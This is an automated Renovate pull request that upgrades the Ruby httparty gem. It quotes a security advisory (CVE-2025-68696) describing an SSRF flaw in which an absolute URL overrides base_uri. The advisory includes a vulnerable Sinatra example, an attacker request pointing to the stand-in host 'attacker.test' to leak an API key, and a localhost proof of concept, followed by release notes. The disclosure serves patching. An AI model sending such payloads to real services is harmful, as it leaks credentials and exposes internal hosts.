[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
httparty (changelog)	0.22.0 → 0.24.0

---

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

CVE-2025-68696 / GHSA-hm5p-x4rq-38w4

More information

Details

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://redirect.github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

   mkdir /tmp/server1 /tmp/server2
   echo "this is server1" > /tmp/server1/index.html 
   echo "this is server2" > /tmp/server2/index.html
   python -m http.server -d /tmp/server1 10001 &
   python -m http.server -d /tmp/server2 10002 &

2. Create a script (for example, main.rb):

   require 'httparty'
   
   class Client
     include HTTParty
     base_uri 'http://localhost:10001'
   end
   
   data = Client.get('http://localhost:10002').body
   puts data

3. Run the script:

   $ ruby main.rb
   this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

• Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
• SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
• Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

Severity

• CVSS Score: 7.8 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
• https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240
• https://nvd.nist.gov/vuln/detail/CVE-2025-68696
• https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml
• https://github.com/advisories/GHSA-hm5p-x4rq-38w4

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

jnunemaker/httparty (httparty)

v0.24.0

Compare Source

What's Changed

• Force binary encoding throughout by @​jnunemaker in #​823
• set Content-Type for Hash body in requests by @​jnunemaker in #​828
• feat: stream multipart file uploads to reduce memory usage by @​jnunemaker in #​829
• fix: prevent SSRF via absolute URL bypassing base_uri by @​jnunemaker in #​830

Full Changelog: jnunemaker/httparty@v0.23.2...v0.24.0

v0.23.2: 0.23.2

Compare Source

What's Changed

• Add changelog_uri metadata to gemspec by @​baraidrissa in #​817
• Fix multipart with files in binary mode and fields including non-ASCII characters by @​rdimartino in #​822

New Contributors

• @​baraidrissa made their first contribution in #​817
• @​rdimartino made their first contribution in #​822

Full Changelog: jnunemaker/httparty@v0.23.1...v0.23.2

v0.23.1

Compare Source

• Add foul option to class level d268387

Full Changelog: jnunemaker/httparty@v0.23.0...v0.23.1

v0.23.0

Compare Source

What's Changed

• new: foul mode to rescue all common network errors: https://github.com/jnunemaker/httparty/blob/891a4a8093afd4cacecab2719223e3170d07f1c0/examples/party_foul_mode.rb
• docs: replace master branch to main for better view by @​bestony in #​803
• Update README.md by @​tradesmanhelix in #​811

New Contributors

• @​ashishra0 made their first contribution with foul mode
• @​bestony made their first contribution in #​803
• @​tradesmanhelix made their first contribution in #​811

Full Changelog: jnunemaker/httparty@v0.22.0...v0.23.0

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.